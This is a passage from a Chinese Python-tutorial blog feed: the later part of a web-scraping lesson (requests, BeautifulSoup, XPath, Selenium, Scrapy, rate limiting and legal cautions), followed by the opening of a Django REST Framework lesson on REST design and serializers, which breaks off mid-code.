&lt;li&gt;不爬取受版权保护的内容用于商业牟利&lt;/li&gt;
&lt;li&gt;抓取的数据合法使用，注明来源&lt;/li&gt;
&lt;li&gt;反爬措施有明确的法律边界，绕过技术防护可能违法&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;二、requests 发起请求&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;requests&lt;/code&gt; 是最人性化的 HTTP 库，爬虫第一步。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install requests
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import requests

# GET 请求
resp = requests.get(&quot;https://httpbin.org/get&quot;)
print(resp.status_code)          # 200
print(resp.text)                 # 响应文本（HTML/字符串）
print(resp.json())               # 响应 JSON（自动解析为 dict）
print(resp.encoding)             # 编码
print(resp.content)              # 原始字节（下载图片/文件用）

# 带参数
resp = requests.get(&quot;https://api.example.com/search&quot;,
                    params={&quot;q&quot;: &quot;python&quot;, &quot;page&quot;: 1})   # ?q=python&amp;amp;page=1

# POST 请求
resp = requests.post(&quot;https://httpbin.org/post&quot;,
                     data={&quot;user&quot;: &quot;tom&quot;})               # 表单
resp = requests.post(url, json={&quot;user&quot;: &quot;tom&quot;})         # JSON

# 请求头（伪装浏览器，反爬基础）
headers = {
    &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) &quot;
                  &quot;AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36&quot;,
    &quot;Referer&quot;: &quot;https://www.google.com/&quot;,
}
resp = requests.get(url, headers=headers)

# 超时、Cookie、代理
resp = requests.get(url, timeout=10)                    # 超时（必设！）
resp = requests.get(url, cookies={&quot;session&quot;: &quot;xxx&quot;})    # 带 Cookie
resp = requests.get(url, proxies={&quot;http&quot;: &quot;http://1.2.3.4:8080&quot;})  # 代理
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Session 保持会话&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Session 自动管理 Cookie，登录后的请求都复用
session = requests.Session()
session.get(&quot;https://example.com/login&quot;)
session.post(&quot;https://example.com/login&quot;, data={&quot;user&quot;: &quot;tom&quot;, &quot;pwd&quot;: &quot;123&quot;})
resp = session.get(&quot;https://example.com/profile&quot;)   # 已登录状态
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;下载文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 下载图片/文件（用 content 二进制流式写入）
def download_image(url, filename):
    resp = requests.get(url, timeout=10)
    if resp.status_code == 200:
        with open(filename, &quot;wb&quot;) as f:
            f.write(resp.content)

# 大文件流式下载（避免占满内存）
with requests.get(big_file_url, stream=True) as r:
    with open(&quot;file.zip&quot;, &quot;wb&quot;) as f:
        for chunk in r.iter_content(chunk_size=8192):
            f.write(chunk)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
请求失败要&lt;strong&gt;重试 + 异常处理&lt;/strong&gt;。用 &lt;code&gt;requests.adapters.HTTPAdapter&lt;/code&gt; 配合 &lt;code&gt;urllib3.Retry&lt;/code&gt; 实现自动重试；&lt;code&gt;resp.raise_for_status()&lt;/code&gt; 在非 2xx 时抛异常。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;三、解析 HTML：BeautifulSoup 与 lxml&lt;/h2&gt;
&lt;p&gt;拿到 HTML 后要提取数据，两大主流解析库。&lt;/p&gt;
&lt;h3&gt;BeautifulSoup（bs4，易用）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pip install beautifulsoup4 lxml
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;from bs4 import BeautifulSoup

html = &quot;&quot;&quot;
&amp;lt;div class=&quot;articles&quot;&amp;gt;
    &amp;lt;h2 id=&quot;title&quot;&amp;gt;文章标题&amp;lt;/h2&amp;gt;
    &amp;lt;a href=&quot;/post/1&quot; class=&quot;link&quot;&amp;gt;链接1&amp;lt;/a&amp;gt;
    &amp;lt;a href=&quot;/post/2&quot; class=&quot;link&quot;&amp;gt;链接2&amp;lt;/a&amp;gt;
    &amp;lt;p&amp;gt;段落内容&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&quot;&quot;&quot;
soup = BeautifulSoup(html, &quot;lxml&quot;)      # lxml 解析器（快）

# 查找节点
print(soup.title)                        # 标签
print(soup.find(&quot;h2&quot;, id=&quot;title&quot;).text)  # 按标签+属性找单个 → 文章标题
print(soup.find_all(&quot;a&quot;))                # 找所有 a 标签

# CSS 选择器（select）
links = soup.select(&quot;div.articles a.link&quot;)    # 类选择器
for a in links:
    print(a.text, a[&quot;href&quot;])             # 文本 + href 属性

# 获取属性
a = soup.find(&quot;a&quot;)
print(a.get(&quot;href&quot;))                     # /post/1
print(a.attrs)                           # {&apos;href&apos;: &apos;/post/1&apos;, &apos;class&apos;: [&apos;link&apos;]}

# 遍历
for child in soup.div.children:          # 直接子节点
    print(child)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;CSS 选择器速查&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;tag              标签（div）
.class           类（.article）
#id              ID（#title）
div p            后代（div 内所有 p）
div &amp;gt; p          直接子级
div, span        多个选择器
a[href]          有 href 属性
a[href=&quot;/x&quot;]     属性等于
a[href^=&quot;http&quot;]  属性以...开头
li:nth-child(2)  第 2 个子元素
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;lxml + XPath（高效，Scrapy 用）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from lxml import etree

tree = etree.HTML(html)

# XPath 提取
titles = tree.xpath(&apos;//h2[@id=&quot;title&quot;]/text()&apos;)      # 按 id 取文本
links = tree.xpath(&apos;//a[@class=&quot;link&quot;]/@href&apos;)       # 取属性
items = tree.xpath(&apos;//div[@class=&quot;articles&quot;]/a&apos;)     # 取节点

for item in items:
    print(item.xpath(&apos;./text()&apos;)[0])                 # 相对路径
    print(item.xpath(&apos;./@href&apos;)[0])
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;XPath 语法速查：
//node           任意位置的 node
/node            根下的 node
.                当前节点
..               父节点
@attr            属性
text()           文本
[条件]           过滤（//a[@href]、//li[1]）
*                通配符
|                或
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&lt;strong&gt;三种提取方式对比&lt;/strong&gt;：正则表达式（&lt;code&gt;re&lt;/code&gt;）适合简单文本，但对嵌套 HTML 无能为力；BeautifulSoup 用 CSS 选择器最直观易学；XPath 功能最强、性能最好，Scrapy 默认用它。复杂结构优先 XPath/bs4，别用正则解析 HTML。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;四、抓取动态内容（Day62）&lt;/h2&gt;
&lt;p&gt;很多网站用 JavaScript 动态渲染，&lt;code&gt;requests&lt;/code&gt; 拿到的是空壳 HTML，数据靠 Ajax 加载。&lt;/p&gt;
&lt;h3&gt;方法1：直接分析 Ajax 接口（首选）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 打开浏览器 F12 → Network → XHR/Fetch，找到返回数据的接口
# 很多&quot;动态页面&quot;其实是请求 JSON 接口再渲染，直接爬接口最高效！
import requests

api = &quot;https://example.com/api/articles?page=1&quot;
resp = requests.get(api, headers=headers)
data = resp.json()                        # 直接拿到结构化 JSON
for item in data[&quot;results&quot;]:
    print(item[&quot;title&quot;])
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;方法2：Selenium 模拟浏览器（万能但慢）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pip install selenium
# 还需下载浏览器驱动（ChromeDriver），新版 Selenium 4.6+ 自动管理
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

# 启动浏览器
options = webdriver.ChromeOptions()
options.add_argument(&quot;--headless&quot;)        # 无头模式（不显示界面）
driver = webdriver.Chrome(options=options)

try:
    driver.get(&quot;https://example.com&quot;)

    # 显式等待（等元素出现，比 sleep 可靠）
    element = WebDriverWait(driver, 10).until(
        EC.presence_of_element_located((By.CSS_SELECTOR, &quot;.article-title&quot;))
    )

    # 查找元素
    titles = driver.find_elements(By.CSS_SELECTOR, &quot;.article-title&quot;)
    for t in titles:
        print(t.text)

    # 模拟交互
    driver.find_element(By.ID, &quot;load-more&quot;).click()      # 点击
    driver.find_element(By.NAME, &quot;q&quot;).send_keys(&quot;python&quot;) # 输入
    driver.execute_script(&quot;window.scrollTo(0, 10000)&quot;)   # 滚动到底部（触发懒加载）

    # 获取渲染后的 HTML
    print(driver.page_source)
finally:
    driver.quit()                         # 关闭浏览器
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;requests vs Selenium：
┌──────────┬────────────────┬────────────────┐
│          │ requests       │ Selenium       │
├──────────┼────────────────┼────────────────┤
│ 执行 JS  │ 否             │ 是（真实浏览器）│
│ 速度     │ 快             │ 慢             │
│ 资源占用 │ 低             │ 高（开浏览器） │
│ 动态页面 │ 需找接口       │ 直接渲染       │
│ 适用     │ 静态/JSON 接口 │ 复杂交互/验证码│
└──────────┴────────────────┴────────────────┘
原则：能爬接口就别用 Selenium，性能差几十倍。
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
还有更轻量的方案：&lt;code&gt;Playwright&lt;/code&gt;（微软出品，比 Selenium 快、API 现代）、&lt;code&gt;requests-html&lt;/code&gt;。处理 JS 渲染优先考虑直接调 Ajax 接口，其次 Playwright/Selenium。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;五、Scrapy 框架（Day63）&lt;/h2&gt;
&lt;p&gt;Scrapy 是专业的&lt;strong&gt;异步爬虫框架&lt;/strong&gt;，适合大规模、结构化抓取，自带调度、去重、管道、中间件。&lt;/p&gt;
&lt;h3&gt;架构与安装&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pip install scrapy
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Scrapy 架构（五大组件）：
       ┌──────────────────────────────────────┐
       │              ENGINE（引擎）            │  总调度
       └──────────────────────────────────────┘
          │          │          │          │
   SCHEDULER     SPIDERS    PIPELINES  DOWNLOADER
   （调度器）    （爬虫）    （管道）    （下载器）
   管理待爬 URL  解析提取    处理数据    发请求下页面
                    │
              DOWNLOADER MIDDLEWARES（下载器中间件：代理、UA、重试）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;创建项目与爬虫&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;scrapy startproject myspider          # 创建项目
cd myspider
scrapy genspider quotes quotes.toscrape.com   # 创建爬虫
scrapy crawl quotes                    # 运行爬虫
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# myspider/spiders/quotes_spider.py
import scrapy

class QuotesSpider(scrapy.Spider):
    name = &quot;quotes&quot;                    # 爬虫名（唯一）
    allowed_domains = [&quot;quotes.toscrape.com&quot;]
    start_urls = [&quot;https://quotes.toscrape.com/page/1/&quot;]

    def parse(self, response):         # 默认回调，解析响应
        # 提取数据
        for quote in response.css(&quot;div.quote&quot;):
            yield {                    # yield 字典 → 交给 Pipeline
                &quot;text&quot;: quote.css(&quot;span.text::text&quot;).get(),
                &quot;author&quot;: quote.css(&quot;small.author::text&quot;).get(),
                &quot;tags&quot;: quote.css(&quot;div.tags a.tag::text&quot;).getall(),
            }

        # 翻页：yield Request 继续爬
        next_page = response.css(&quot;li.next a::attr(href)&quot;).get()
        if next_page:
            yield response.follow(next_page, callback=self.parse)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Item 与 Pipeline&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# items.py：定义数据结构（可选，也可直接 yield dict）
import scrapy

class QuoteItem(scrapy.Item):
    text = scrapy.Field()
    author = scrapy.Field()
    tags = scrapy.Field()

# pipelines.py：处理数据（清洗、去重、存库）
class MySpiderPipeline:
    def process_item(self, item, spider):
        item[&quot;text&quot;] = item[&quot;text&quot;].strip()      # 清洗
        return item

    def open_spider(self, spider):               # 爬虫启动时（连数据库）
        pass
    def close_spider(self, spider):              # 爬虫关闭时（关连接）
        pass
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# settings.py
ITEM_PIPELINES = {
    &quot;myspider.pipelines.MySpiderPipeline&quot;: 300,   # 数字越小越先执行
}
ROBOTSTXT_OBEY = True            # 遵守 robots
DOWNLOAD_DELAY = 1               # 下载延时（防封）
CONCURRENT_REQUESTS = 16         # 并发请求数
DEFAULT_REQUEST_HEADERS = {&quot;User-Agent&quot;: &quot;Mozilla/5.0 ...&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;存储结果&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 导出为 JSON/CSV
scrapy crawl quotes -o quotes.json
scrapy crawl quotes -o quotes.csv

# 存 MongoDB / MySQL 在 Pipeline 的 process_item 里写库
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
Scrapy 内置&lt;strong&gt;去重&lt;/strong&gt;（同样的请求不重复发）、&lt;strong&gt;异步并发&lt;/strong&gt;（Twisted 引擎）、&lt;strong&gt;自动重试&lt;/strong&gt;、&lt;strong&gt;限流&lt;/strong&gt;，比自己用 requests 循环强大得多。大规模结构化抓取首选 Scrapy；简单小任务用 requests + bs4 即可。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;六、并发抓取与反爬应对&lt;/h2&gt;
&lt;h3&gt;并发加速（多线程 / 异步）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 多线程并发下载
from concurrent.futures import ThreadPoolExecutor

def fetch(url):
    return requests.get(url, headers=headers, timeout=10).text

urls = [f&quot;https://example.com/page/{i}&quot; for i in range(1, 50)]
with ThreadPoolExecutor(max_workers=10) as pool:
    results = list(pool.map(fetch, urls))

# 异步（aiohttp，高并发首选，见语言进阶篇）
# import aiohttp, asyncio
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常见反爬手段与应对&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;反爬手段&lt;/th&gt;
&lt;th&gt;应对策略&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;检查 User-Agent&lt;/td&gt;
&lt;td&gt;请求头伪装成浏览器，随机切换 UA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;检查 Referer/IP&lt;/td&gt;
&lt;td&gt;带 Referer，使用 IP 代理池&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;频率限制&lt;/td&gt;
&lt;td&gt;加 &lt;code&gt;DOWNLOAD_DELAY&lt;/code&gt; 延时，控制并发&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;登录/验证码&lt;/td&gt;
&lt;td&gt;带 Cookie/Session，验证码可打码平台或人工&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;动态渲染 JS&lt;/td&gt;
&lt;td&gt;Selenium/Playwright，或直接爬 Ajax 接口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据加密/字体混淆&lt;/td&gt;
&lt;td&gt;逆向 JS，破解加密参数（有法律风险，谨慎）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;# 随机 User-Agent
import random
UA_LIST = [
    &quot;Mozilla/5.0 ... Chrome/120.0&quot;,
    &quot;Mozilla/5.0 ... Firefox/121.0&quot;,
    &quot;Mozilla/5.0 ... Safari/605.1&quot;,
]
headers = {&quot;User-Agent&quot;: random.choice(UA_LIST)}

# 代理池（IP 被封时切换）
proxies = {&quot;http&quot;: &quot;http://proxy1:8080&quot;, &quot;https&quot;: &quot;https://proxy1:8080&quot;}
resp = requests.get(url, headers=headers, proxies=proxies, timeout=10)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
反爬与反反爬是持续的博弈，但&lt;strong&gt;绕过技术防护措施可能违反《反不正当竞争法》《数据安全法》甚至《刑法》&lt;/strong&gt;。爬虫的底线是：不碰个人隐私、不破坏系统、不恶意占用资源、不侵犯版权。学习和正当数据采集用，切勿用于非法用途。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;七、爬虫数据存储&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 存 CSV
import csv
with open(&quot;data.csv&quot;, &quot;w&quot;, newline=&quot;&quot;, encoding=&quot;utf-8-sig&quot;) as f:
    writer = csv.writer(f)
    writer.writerow([&quot;标题&quot;, &quot;作者&quot;])       # 表头
    writer.writerow([&quot;文章1&quot;, &quot;张三&quot;])

# 存 JSON
import json
with open(&quot;data.json&quot;, &quot;w&quot;, encoding=&quot;utf-8&quot;) as f:
    json.dump(items, f, ensure_ascii=False, indent=2)

# 存 MySQL（用 pymysql，见数据库篇）
# 存 MongoDB（适合非结构化，Schema 灵活）
# from pymongo import MongoClient
# client = MongoClient(&quot;mongodb://localhost:27017/&quot;)
# db = client[&quot;spider&quot;]
# db[&quot;quotes&quot;].insert_one({&quot;text&quot;: &quot;...&quot;, &quot;author&quot;: &quot;...&quot;})
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：requests 拿到的是空页面/没有数据？&lt;/strong&gt;
A：多半是&lt;strong&gt;动态渲染&lt;/strong&gt;——页面数据由 JavaScript 加载。解决：① 打开 F12 → Network → XHR，找返回数据的 Ajax 接口直接爬（首选）；② 用 Selenium/Playwright 执行 JS 渲染后再解析。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：BeautifulSoup、lxml、正则怎么选？&lt;/strong&gt;
A：正则适合从纯文本提取简单模式（如所有邮箱），不适合解析嵌套 HTML；BeautifulSoup 用 CSS 选择器最直观；lxml + XPath 性能最好、功能最强。解析 HTML 优先 bs4/XPath。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：什么时候用 Scrapy，什么时候用 requests？&lt;/strong&gt;
A：小任务、几十个页面、逻辑简单 → requests + bs4 足够；大规模、需翻页/去重/并发/存库、结构化抓取 → Scrapy（自带调度、管道、去重、限流）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：&lt;code&gt;get()&lt;/code&gt; 和 &lt;code&gt;getall()&lt;/code&gt; 的区别（Scrapy 选择器）？&lt;/strong&gt;
A：&lt;code&gt;get()&lt;/code&gt;（等价 &lt;code&gt;extract_first()&lt;/code&gt;）返回&lt;strong&gt;第一个&lt;/strong&gt;匹配（无匹配返回 None）；&lt;code&gt;getall()&lt;/code&gt;（等价 &lt;code&gt;extract()&lt;/code&gt;）返回&lt;strong&gt;所有&lt;/strong&gt;匹配的列表。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：IP 被封了怎么办？&lt;/strong&gt;
A：① 降低频率（加延时、减并发）；② 用代理 IP 池轮换；③ 分布式部署在不同机器；④ 遵守 robots、错峰抓取。根本上还是别把人家服务器爬崩，控制速率最重要。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q6：如何处理需要登录的网站？&lt;/strong&gt;
A：用 &lt;code&gt;requests.Session()&lt;/code&gt; 保持会话：先请求登录接口（带上 CSRF token、账号密码），登录成功后 Session 自动携带 Cookie，后续请求都是登录态。或用 Selenium 模拟登录后导出 Cookie。注意别爬隐私数据。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q7：爬虫合法吗？&lt;/strong&gt;
A：爬虫技术本身中立，合法与否看&lt;strong&gt;用途和方式&lt;/strong&gt;。遵守 robots、不爬隐私/版权数据、不影响服务器正常运行、数据合法使用，一般没问题；恶意抓取、绕过防护牟利、爬个人隐私可能违法。商用前务必咨询法律意见。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;网络爬虫速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;流程&lt;/strong&gt;：获取 URL → 发请求 → 解析 → 存数据 → 提取新 URL 循环&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;合规&lt;/strong&gt;：遵守 robots.txt、不碰隐私版权、控频率、不破坏系统&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;requests&lt;/strong&gt;：get/post、headers 伪装 UA、Session 保持登录、content 下载、timeout 必设&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解析三剑客&lt;/strong&gt;：正则（纯文本）、BeautifulSoup（CSS 选择器易学）、lxml+XPath（高性能）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;动态页面&lt;/strong&gt;：优先爬 Ajax/JSON 接口；其次 Selenium/Playwright 渲染&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scrapy 架构&lt;/strong&gt;：Engine/Scheduler/Spiders/Pipelines/Downloader + 中间件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scrapy 用法&lt;/strong&gt;：&lt;code&gt;yield&lt;/code&gt; 数据给 Pipeline，&lt;code&gt;yield Request/follow&lt;/code&gt; 翻页，&lt;code&gt;-o&lt;/code&gt; 导出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;并发&lt;/strong&gt;：ThreadPoolExecutor 多线程、aiohttp 异步、Scrapy 自带异步&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;反爬应对&lt;/strong&gt;：随机 UA、代理池、延时、Cookie、破解 JS（有法律风险）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;存储&lt;/strong&gt;：CSV/JSON（简单）、MySQL（结构化）、MongoDB（灵活 Schema）&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/python-roadmap-12-data-analysis/&quot;&gt;数据分析：NumPy 与 pandas&lt;/a&gt; 将进入数据科学赛道，讲解 NumPy 数组运算、pandas 的 Series/DataFrame、数据清洗、分组聚合、合并重塑与时间序列处理。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/python-roadmap-00-overview/&quot;&gt;Python 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Django 进阶与 DRF</title><link>http://117.72.32.87/blog/posts/python-roadmap-10-django-drf/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-10-django-drf/</guid><description>Django 进阶与 Django Rest Framework：RESTful API 设计、DRF 序列化器、视图（APIView/ViewSet）、路由器、认证与权限、分页过滤限流、缓存优化，以及 uWSGI/Gunicorn + Nginx 部署上线。</description><pubDate>Fri, 18 Sep 2026 06:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文对应仓库 &lt;strong&gt;Day53~60&lt;/strong&gt;：RESTful 架构、DRF 序列化器与视图、路由器、认证权限、分页限流、缓存与部署。前后端分离时代，用 Django Rest Framework（DRF）快速构建 API 是后端开发者的核心技能。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;一、RESTful API 设计&lt;/h2&gt;
&lt;h3&gt;什么是 REST&lt;/h3&gt;
&lt;p&gt;REST（Representational State Transfer，表述性状态转移）是一种&lt;strong&gt;软件架构风格&lt;/strong&gt;，核心思想：把一切都抽象为&lt;strong&gt;资源&lt;/strong&gt;，用 URL 定位资源，用 HTTP 方法操作资源。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RESTful 设计原则：
1. 资源用名词，不用动词：/users ✅  /getUser ❌
2. 用 HTTP 方法表达操作：GET 查、POST 增、PUT/PATCH 改、DELETE 删
3. URL 表示资源层级：/users/1/posts（用户1的文章）
4. 无状态：每个请求自带全部信息（认证），服务器不存会话状态
5. 用 JSON 作为数据交换格式
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;RESTful URL 设计示例&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方法&lt;/th&gt;
&lt;th&gt;URL&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;GET&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/api/posts/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;获取文章列表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;POST&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/api/posts/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;创建新文章&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GET&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/api/posts/1/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;获取 ID=1 的文章&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PUT&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/api/posts/1/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;整体更新 ID=1 的文章&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PATCH&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/api/posts/1/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;局部更新 ID=1 的文章&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DELETE&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/api/posts/1/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;删除 ID=1 的文章&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
同一个 URL &lt;code&gt;/api/posts/1/&lt;/code&gt;，靠&lt;strong&gt;不同的 HTTP 方法&lt;/strong&gt;区分操作，这是 REST 的精髓。而不是设计 &lt;code&gt;/api/getPost&lt;/code&gt;、&lt;code&gt;/api/updatePost&lt;/code&gt;、&lt;code&gt;/api/deletePost&lt;/code&gt; 这种动词式 URL。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;二、DRF 序列化器（Serializer）&lt;/h2&gt;
&lt;p&gt;序列化器负责 &lt;strong&gt;模型对象 ↔ JSON&lt;/strong&gt; 的双向转换，同时做数据校验。&lt;/p&gt;
&lt;h3&gt;安装与配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pip install djangorestframework
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# settings.py
INSTALLED_APPS = [
    # ...
    &quot;rest_framework&quot;,
]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ModelSerializer（最常用）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# blog/serializers.py
from rest_framework import serializers
from .models import Post, Category

class CategorySerializer(serializers.ModelSerializer):
    class Meta:
        model = Category
        fields = [&quot;id&quot;, &quot;name&quot;]        # 指定字段，或 &quot;__all__&quot;

class PostSerializer(serializers.ModelSerializer):
    category = CategorySerializer(read_only=True)     # 嵌套序列化（读）
    category_id = serializers.PrimaryKeyRelatedField( # 写时用 ID
        queryset=Category.objects.all(), source=&quot;category&quot;, write_only=True
    )
    author_name = serializers.CharField(source=&quot;author.username&quot;, read_only=True)

    class Meta:
        model = Post
        fields = [&quot;id&quot;, &quot;title&quot;, &quot;content&quot;, &quot;views&quot;,
                  &quot;category&quot;, &quot;category_id&quot;, &quot;author_name&quot;, &quot;created_at&quot;]
        read_only_fields = [&quot;views&quot;, &quot;created_at&quot;]    # 只读，不允许客户端改
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;序列化与反序列化&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 序列化（对象 → JSON）：many=True 处理多条
posts = Post.objects.all()
serializer = PostSerializer(posts, many=True)
print(serializer.data)        # [{&apos;id&apos;:1,&apos;title&apos;:&apos;...&apos;,...}, ...]

# 反序列化（JSON → 对象）：需校验
serializer = PostSerializer(data={&quot;title&quot;: &quot;新文章&quot;, &quot;content&quot;: &quot;...&quot;})
if serializer.is_valid():                 # 校验数据
    serializer.save()                     # 创建对象
else:
    print(serializer.errors)              # 校验失败的错误信息

# 更新（传入 instance）
post = Post.objects.get(id=1)
serializer = PostSerializer(post, data={&quot;title&quot;: &quot;改标题&quot;}, partial=True)  # partial 局部更新
if serializer.is_valid():
    serializer.save()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;字段校验&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class PostSerializer(serializers.ModelSerializer):
    # 自定义校验：校验单个字段 validate_&amp;lt;字段名&amp;gt;
    def validate_title(self, value):
        if &quot;敏感词&quot; in value:
